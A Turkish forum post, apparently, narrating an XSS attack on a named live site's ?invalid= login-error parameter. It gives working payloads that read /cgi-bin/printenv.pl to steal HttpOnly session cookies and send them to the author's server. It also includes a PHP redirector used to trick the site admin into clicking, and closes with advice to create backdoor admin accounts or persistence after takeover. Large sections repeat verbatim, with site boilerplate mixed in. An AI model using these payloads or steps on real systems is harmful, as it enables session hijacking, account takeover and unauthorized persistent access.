selamlar dostlar ben mori bugun arkadasımın bana verdiği sitede pentest yaparken yasadıgım olaya değincem
ben yaptım siz yapmayın diye anlatıcam
exploitation sonrası yapmanız gerekenden bahsedicem ek olarak
hedef:vlodia.takachi.rocks
arkadaş şimdi burda reflected xss yakalamıstı
konumu surası

login olurken backendde hesabın kotnrolu yapılıyor
varmı yokmu meselesi işte
yoksada bir hata basıyor
fakatt

hatayı urlden alıp dumduz tarayıcıya sanitizasyon yapmadan
basmakta
hedef parametremiz ?invalid= paramı

peki o zaman basit bi html payloadı ile ilk test edelim dogruca document icine basıyormu tagı


arkada muhtemelen şu olay dönüyor; $_GET'ten gelen invalid parametresindeki veriyi al ve ekrana echo "<strong>Hata!</strong> . $invalid_param_value"
harika html injection var elimizde

tatlı bir bicimde calısıyodu
ama script tagını escape etse dahi onuda asmanın yolları cıkıcaktır elbet :>> kendimizi asla kısıtlamıcaz.
nys peki o zaman
tarayıcı uzerınden cookielere erisimiiz varmı
varsa egerki hic ugrasmadan basit bir payload hazırlayıp kendi sunucumuza cekeriz
yoksa biraz sıkıntı

httponly flagı acıktı
yani tarayıcı uzerınden cookieleri okuyamazdık
peki dedim
basladım dusunmeye ve recona
basit bir dizin taraması sonucu sitenin /server-status dizinini gördüm ve içine bakıncada
wamp mimarisi kullandıgını farkettimWindows -> (Win64)Apache -> Apache/2.4.58MySQL/MariaDB -> (Doğrudan görünmüyor ama bir PHP sunucusunda %99 ihtimalle vardır)PHP -> PHP/8.2.12
ama xampp yapısınada benziyordu
ordan yola cıkarak xampp default dizini olan cgi-bin icersindeki printenv icine bakmaya calıstım
belki temizlememistir diyerek
oradanda xss ile icerdeki tarayıcıya yansıtılan verileri alıp
kendi sunucuma yollucaktım

kullanıcının cookiesini burada ekrana basan HTTP_COOKİE değişkeni vardı, bu suanlık bizim icin bir ganimetti
cunku tarayıcıdan ulasamıyoduk cookielere
bizde buraya istek atıp cekim yapıp aktarıcaz.
sonrasında webhook ifsası olmasın + csp var diye ara sunucu hazırladım ve onuda hosta deploy edip payloadı onun uzerınden hazırladım

parametreden base64 encode veri alınıyo, raw metni ayıklıyoz, raw metni txtye koyup bu txtyi ve summary degiskeninin tuttugu yazıyı discorda yollar, son olarak ise 1x1 lik bir gif mime type'ında bir sahte resim dondururuz
https://vlodia.takachi.rocks/index.php?invalid=<script>(async()=>{let g={};try{g.environment=await fetch('/cgi-bin/printenv.pl',{cache:'no-store'}).then(r=>r.text())}catch(e){g.error=e.toString()}const ed=encodeURIComponent(btoa(JSON.stringify(g)));new Image().src=https://canımsunucum.com/log?d=${ed}})()</script> halinde bir payload hazırlayıp yollarız
Takachi - Discord Bot Dashboard
Discord sunucusu için profesyonel bot hizmetleri. Gelişmiş API işlemleri, otomatik sistemler ve daha fazlası.
genişletilmiş hali
async () => { // 1. Ganimet çantasını hazırla let ganimet = {}; // 2. İstihbarat toplama operasyonunu başlat try { ganimet.environment = await fetch('/cgi-bin/printenv.pl', { cache: 'no-store' }) .then(response => response.text()); } catch (e) { // Operasyon başarısız olursa, hatayı kaydet ganimet.error = e.toString(); } // 3. Ganimeti paketle ve şifrele const encodedData = encodeURIComponent(btoa(JSON.stringify(ganimet))); // 4. Ganimeti C2 sunucusuna sızdır new Image().src = https://canımsunum.com/log?d=${encodedData};})();
kısaca iife func olustururuz yani kod calıstırıldıgı an calıstırılır, cagırılmaya gerek kalmaz. sonrasında printenv.pl icersindeki iverigi al ve ganimet değişkenine koy sonrasında ise error olusursa stringe cevirip yakala yoksa ganimeti base64 encode et ve resim biciminde aktar.
ve bunu test ettim işte
ben yaptım siz yapmayın diye anlatıcam
exploitation sonrası yapmanız gerekenden bahsedicem ek olarak
hedef:vlodia.takachi.rocks
arkadaş şimdi burda reflected xss yakalamıstı
konumu surası
login olurken backendde hesabın kotnrolu yapılıyor
varmı yokmu meselesi işte
yoksada bir hata basıyor
fakatt
hatayı urlden alıp dumduz tarayıcıya sanitizasyon yapmadan
basmakta
hedef parametremiz ?invalid= paramı
peki o zaman basit bi html payloadı ile ilk test edelim dogruca document icine basıyormu tagı
arkada muhtemelen şu olay dönüyor; $_GET'ten gelen invalid parametresindeki veriyi al ve ekrana echo "<strong>Hata!</strong> . $invalid_param_value"
harika html injection var elimizde
ama belki script tagını escape ediyodur diyerek onuda test edek
tatlı bir bicimde calısıyodu
ama script tagını escape etse dahi onuda asmanın yolları cıkıcaktır elbet :>> kendimizi asla kısıtlamıcaz.
nys peki o zaman
tarayıcı uzerınden cookielere erisimiiz varmı
varsa egerki hic ugrasmadan basit bir payload hazırlayıp kendi sunucumuza cekeriz
yoksa biraz sıkıntı
httponly flagı acıktı
yani tarayıcı uzerınden cookieleri okuyamazdık
peki dedim
basladım dusunmeye ve recona
basit bir dizin taraması sonucu sitenin /server-status dizinini gördüm ve içine bakıncada
wamp mimarisi kullandıgını farkettimWindows -> (Win64)Apache -> Apache/2.4.58MySQL/MariaDB -> (Doğrudan görünmüyor ama bir PHP sunucusunda %99 ihtimalle vardır)PHP -> PHP/8.2.12
ama xampp yapısınada benziyordu
ordan yola cıkarak xampp default dizini olan cgi-bin icersindeki printenv icine bakmaya calıstım
belki temizlememistir diyerek
oradanda xss ile icerdeki tarayıcıya yansıtılan verileri alıp
kendi sunucuma yollucaktım
- printenv Komutu: "Print Environment" yani "Ortamı Bas" anlamına gelir. Bu, bir programın çalıştığı ortamdaki tüm değişkenleri ekrana dökmesi için kullanılan standart bir komuttur.
- Birleşimi: printenv.pl, sunucunun tüm ortam değişkenlerini (environment variables) okuyup, bir HTML sayfası olarak senin tarayıcına basan, basit bir Perl ile yazılmış CGI script'idir.
kullanıcının cookiesini burada ekrana basan HTTP_COOKİE değişkeni vardı, bu suanlık bizim icin bir ganimetti
cunku tarayıcıdan ulasamıyoduk cookielere
bizde buraya istek atıp cekim yapıp aktarıcaz.
sonrasında webhook ifsası olmasın + csp var diye ara sunucu hazırladım ve onuda hosta deploy edip payloadı onun uzerınden hazırladım
parametreden base64 encode veri alınıyo, raw metni ayıklıyoz, raw metni txtye koyup bu txtyi ve summary degiskeninin tuttugu yazıyı discorda yollar, son olarak ise 1x1 lik bir gif mime type'ında bir sahte resim dondururuz
https://vlodia.takachi.rocks/index.php?invalid=<script>(async()=>{let g={};try{g.environment=await fetch('/cgi-bin/printenv.pl',{cache:'no-store'}).then(r=>r.text())}catch(e){g.error=e.toString()}const ed=encodeURIComponent(btoa(JSON.stringify(g)));new Image().src=https://canımsunucum.com/log?d=${ed}})()</script> halinde bir payload hazırlayıp yollarız
Takachi - Discord Bot Dashboard
Discord sunucusu için profesyonel bot hizmetleri. Gelişmiş API işlemleri, otomatik sistemler ve daha fazlası.
genişletilmiş hali
kısaca iife func olustururuz yani kod calıstırıldıgı an calıstırılır, cagırılmaya gerek kalmaz. sonrasında printenv.pl icersindeki iverigi al ve ganimet değişkenine koy sonrasında ise error olusursa stringe cevirip yakala yoksa ganimeti base64 encode et ve resim biciminde aktar.
ve bunu test ettim işte

basarılıydı
sonrasında
serveo ile basit bir web sunucusu acıp icine buraya redirect edilcek subdomain actım
php kodu :
<?php$js_payload = '(async()=>{let g={};try{g.environment=await fetch('/cgi-bin/printenv.pl',{cache:'no-store'}).then(r=>r.text())}catch(e){g.error=e.toString()}const ed=encodeURIComponent(btoa(JSON.stringify(g)));new Image().src=https://sunucum.com/log?d=${ed}})()';$full_payload = "<script>" . $js_payload . "</script>";$encoded_payload = urlencode($full_payload);$target_url = "https://vlodia.takachi.rocks/index.php?invalid=" . $encoded_payload;header("Location: " . $target_url);exit();?>
Takachi - Discord Bot Dashboard
Discord sunucusu için profesyonel bot hizmetleri. Gelişmiş API işlemleri, otomatik sistemler ve daha fazlası.
index.php haline getirip subdomainimi alıp admini tongaya getirmeye gittim
(bunu yapma amacım urlyi up uzun gozukmemesi icin, dumduz blabla.serveo.net girildiği anda oraya redirect edicekti uygulama adamı)
adama basvurdum

bot hizmetinizi kullancam falan
sonra login ettirip urlye girdirttim
ve cookie dustu

alıp login oldum
fakat işte tüm hikaye burda baslıyo
hemen ben heycanlandım etrafı gezdim falan o heycanla
shell falan almaya calıstım
ama 5 dk sonra
cookie expire oldu
ve hersey elimden kaydı..
sizz siz olun
admine girince ilk
- admin giriş bilgilerini bulun
- veya yeni admin olusturun
- veya bi erişim noktası kurmaya calısın, bu oturumunuz kesilirse diye
okudugunuz icin tesekkurler iyi forumlar<3